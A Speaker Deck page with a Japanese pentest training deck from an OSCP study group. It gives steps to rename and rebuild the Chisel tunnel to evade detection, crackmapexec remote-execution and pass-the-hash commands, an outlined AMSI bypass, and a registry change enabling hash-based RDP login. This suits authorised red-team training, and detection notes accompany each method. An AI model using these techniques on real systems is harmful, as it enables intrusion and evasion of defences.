Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
ペンテストに関するTIPS
Search
Ruslan Sayfiev
August 28, 2023
Technology
2.7k
3
Share
ペンテストに関するTIPS
主にペネトレーションテストやRed Team業務を対象として、Golangで開発されたツール編集のやり方やリモート操作用サービスの違い紹介の資料です。
Ruslan Sayfiev
August 28, 2023
More Decks by Ruslan Sayfiev
See All by Ruslan Sayfiev
Active Directory攻防
cryptopeg
12
9.6k
Other Decks in Technology
See All in Technology
2026年度新卒技術研修 サイバーエージェントのデータベース 活用事例とパフォーマンス調査入門
cyberagentdevelopers
PRO
8
8.3k
非エンジニア職からZOZOへ 〜登壇がキャリアに与えた影響〜
penpeen
0
430
Introduction to Sansan for Engineers / エンジニア向け会社紹介
sansan33
PRO
6
74k
Databricksを用いたセキュアなデータ基盤構築とAIプロダクトへの応用.pdf
pkshadeck
PRO
0
320
AI時代に新卒採用、はじめました/junior-engineer-never-die
dmnlk
0
260
Zero-Downtime Migration: Moving a Massive, Historic iOS App from CocoaPods to SPM and Tuist without Stopping Feature Delivery
kagemiku
0
240
3つのボトルネックを解消し、リリースエンジニアリングを再定義した話
nealle
0
430
ログ基盤・プラグイン・ダッシュボード、全部整えた。でも最後は人だった。
makikub
5
1.9k
Zero Data Loss Autonomous Recovery Service サービス概要
oracle4engineer
PRO
5
14k
AWS認定資格は本当に意味があるのか?
nrinetcom
PRO
0
170
Azure Speech で音声対応してみよう
kosmosebi
0
100
EarthCopilotに学ぶマルチエージェントオーケストレーション
nakasho
0
110
Featured
See All Featured
The State of eCommerce SEO: How to Win in Today's Products SERPs - #SEOweek
aleyda
2
10k
How to build a perfect <img>
jonoalderson
1
5.4k
Everyday Curiosity
cassininazir
0
190
Are puppies a ranking factor?
jonoalderson
1
3.3k
Navigating Weather and Climate Data
rabernat
0
160
Rails Girls Zürich Keynote
gr2m
96
14k
We Are The Robots
honzajavorek
0
210
Primal Persuasion: How to Engage the Brain for Learning That Lasts
tmiket
0
320
Public Speaking Without Barfing On Your Shoes - THAT 2023
reverentgeek
1
370
Lightning talk: Run Django tests with GitHub Actions
sabderemane
0
160
No one is an island. Learnings from fostering a developers community.
thoeni
21
3.7k
A Guide to Academic Writing Using Generative AI - A Workshop
ks91
PRO
1
260
Transcript
ペンテストに関するTIPS Ruslan Sayfiev Mizuno Sarii OSCP勉強会 2023年8月26日
WHOAMI Ruslan Sayfiev(ルスラン) • Red Team/PTリーダー@ GMO サイバーセキュリティ by イエラエ
• 主な知見:Web・NW診断、Cloud/OSINT/Pentest/RedTeam、車系の診断など • 資格(思ったより多い):OSWP, OSCP, OSEP, OSCE, OSEE, GXPN, CRTO, CRTL, CRTE, CARTP • HackTheBox(やりたいほどできてきていないが):Guru 水野沙理衣 • 新卒1年目@ GMO サイバーセキュリティ by イエラエ • 9月よりWebアプリーケーション脆弱性診断課 • PT勉強中 • SECCON実行委員、CTF for Girls運営(WEB分野講師など) • HackTheBox:Hacker
目次 • カスタムなChiselの作り方 • Windows環境にリモート操作用プロトコル(概要・検知) • WMI • SMB(PSExec、 SMBExec)
• WinRM • RDP
※既存Golangアプリのカスタマイズやコンパイル カスタムなCHISELの作り方
CHISELとは • WebSocketを使用したTCPトンネリングツール(トンネル内はSSHで暗号化される) • Go言語で作成 • 「https://github.com/jpillora/chisel」にて入手可能
カスタマイズなんているの? いくつかの理由の例: • 不足している機能の追加開発(例:Kerberos認証) • 他のツールへの組み込みなど
1) GOLANG開発環境の準備 • 該当プラットホーム元に正式サイトからArchive形のGolangをダウンロード・展開 • 展開したフォルダーにアクセスし、任意のフォルダーを作成する(例:_SRC) • 環境変数をエクスポートする(外部から実行する際、フルパスで指定) • Mac・Linux
export GOPATH=go_custom/_SRC export GOROOT=go_custom export GO111MODULE=off • Win set GOPATH=C:\go_win_custom\_SRC set GOROOT=C:\go_win_custom set GO111MODULE=off
MAC WIN https://go.dev/dl/
• Githubから最新版のArchive方式のChiselをダウンロードする • 「_SRC」フォルダー内に(例:chisel_custom)フォルダーを作って,「main.go」 ファイルだけを入れておく • 「chisel_custom」フォルダーに「cd」する 2) CHISELと必要なライブラリの準備
• そのまま「build」しようとすると、必要なライブラリがないというエラーが発生する • 以下の方法によって必要なライブラリの導入が可能 ※「main.go」ファイルのあるフォルダーから実行! • go get -v -d
./... または • go get github.com/jpillora/chisel
3) CHISELのビルド・カスタマイズ • 現時点で基本的にビルドができるようなりました • go build main.go (別OS/ARCHの場合、GOOS/GOARCHの設定が必要)
• このままのビルドだと、公開リリースビルドとほぼ差がなく、同様に検知され ることになります • 簡単にStringsツールをかけて、Chiselの文字列で確認しましょう • 中身を確認すると、外部ライブラリのインポート名に見える
• 「main.go」ファイルを確認すると、「github.com/jpillora/chisel/…」がインポー トされていることがわかります
• まず、以下の編集を行いましょう 「github.com/jpillora/chisel」 → 「custom_lib」
• コンパイルすると、エラー! • インポートされるライブラリ名が変わったため、ソースフォルダーも以下のよ うに編集する必要があります 「_SRC/src/github.com/jpillora/chisel」 → 「_SRC/src/custom_lib」 ※フォルダー内に「client、server、share」のみのフォルダーを残して大丈夫
• 今度コンパイルし直して、「chisel」で検索すると、23回だけ引っかかることが わかります。おそらく、Helpなどに含まれている文字列が残っているかと推 測できます。 • 実際に中身を確認して、全ての「chisel」文字列を編集しましょう 「chisel」 → 「OSCPStudy」
• 改めてビルドして検索してみると、1個だけが出てくることを確認する。それ は、ビルドパスがバイナリ内に含まれるためで、以下の追加フラグによって パスやシンボルデータなどの削除が可能です。 go build -ldflags="-s -w -extldflags=-static" -trimpath
main.go
• ビルドするバイナリをEXEからDLLにする必要がある場合、以下のように関数を追加して、エクス ポートすることで可能です。 GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -
buildmode=c-shared -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.dll main.go
• 「Dumpbin」ツールによって、「OffSecRun」関数がエクスポートされていることが 確認できます。例:「rundll32 chisel.dll,OffSecRun」のコマンドによって実行が可 能です。
各種OSやアーキテクチャのコンパイル例(Mac環境) Linux ・ GOOS=linux GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static"
-trimpath -o chisel_arm64.elf main.go ・ GOOS=linux GOARCH=386 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.elf main.go ・ GOOS=linux GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.elf main.go Windows #EXE ・ GOOS=windows GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_arm.exe main.go ・ GOOS=windows GOARCH=386 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.exe main.go ・ GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.exe main.go #DLL (MinGWが必要) ・ GOOS=windows GOARCH=386 CGO_ENABLED=1 CC=i686-w64-mingw32-gcc go build -buildmode=c-shared - ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.dll main.go ・ GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared - ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.dll main.go MacOS ・ GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_ARM main.go ・ GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64 main.go
WINDOWS環境にリモート操作用プロトコル (概要・検知)
WMI (WINDOWS MANAGEMENT INSTRUMENTATION) • smb 10.11.14.54 → SMBプロトコルを用いて、指定されたIPアドレス(10.11.14.54)のマシンに接続 •
-u Administrator -p ‘P@ssw0rd‘ → 接続する際にAdministratorというユーザー名とP@ssw0rdというパスワードを使用 • --exec-method wmiexec → コマンド実行のメソッドとしてwmiexecを使用 • -x 'timeout 10' →リモートマシン上でtimeout 10というコマンドを実行。(何もしないで10秒間待つ) WMIの親子プロセス関係
• --no-output → 実行結果を出力しない WMIの親子プロセス関係
• strace → システムコールとシグナルを追跡するプログラム • -f → フォークした子プロセスも追跡 • -e
trace=network →ネットワークに関連するシステムコールだけを追跡 • 2>&1 → 標準エラー出力(stderr)を標準出力(stdout)にリダイレクト • grep 'connect(‘ → 出力の中からconnect(という文字列を含む行だけを抽出 WMIは135ポート+50000+系のポートを使用する ※上記では445ポートも使用されているが、使わなくすることも可能 使用されるポート
SMB(PSEXEC) 手元の端末で実行 PSExecの親子プロセス関係 対象端末にPSEXECSVCサービスが作成
SMB(SMBEXEC) • smb 10.11.14.54 → SMBプロトコルを用いて、指定されたIPアドレス(10.11.14.54)のマシンに接続 • -u Administrator -p
‘P@ssw0rd‘ → 接続する際にAdministratorというユーザー名とP@ssw0rdというパスワードを使用 • --exec-method smbexec → コマンド実行のメソッドとしてsmbexecを使用 • -x 'timeout 10' →リモートマシン上でtimeout 10というコマンドを実行。(何もしないで10秒間待つ)
• --no-output → 実行結果を出力しない
SMBExec/PSExec系は445ポートを使用する 使用されるポート
WINRM(WINDOWS REMOTE MANAGEMENT) WinRMで接続(Invoke-Mimikatzを入力するだけでAMSI機能にセッションが殺される) WinRMの親子プロセス関係
[Ref].Assembly.GetType(...) → .NETアセンブリから特定の型を取得 'Sy’ …;$result) → System.Management.Automation.AmsiUtilsの難読化 .GetField(..., 'NonPublic,Static') →
この型に存在する特定の非公開静的フィールドを取得 .SetValue($null, $true) → この非公開静的フィールドの値をtrueに設定 内部に実装されているモジュールによる回避は失敗する
WinRMは5985ポートを使用する ※SSLの場合、5986ポートが使用される 使用されるポート
RDP(REMOTE DESKTOP PROTOCOL) 一般的には認証情報が手元にあり、入力して入るだけ(MFAなしの場合)ですが、場合によって、 NTLMハッシュのみが手元にある場合はどうすれば?
DisableRestrictedAdminキーを登録する方法: crackmapexec smb 10.11.14.54 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 -x 'reg
add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f' DisableRestrictedAdminを0に設定することで、 「リモート 資格情報ガード」機能の「制限付き管理 モード」が有効化される DisableRestrictedAdminキーを削除する方法: crackmapexec smb 10.11.14.54 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 -x 'reg delete HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /f'
RDPは3389ポートを使用する 使用されるポート
サマリー • ChiselなどのGolangプログラムを含めてカスタマイズしましょう! • リモート操作用プロトコルをしっかり理解して、状況に応じて適切に使いま しょう!
QUESTIONS? • Twitter: https://twitter.com/cryptopeg https://twitter.com/r1154n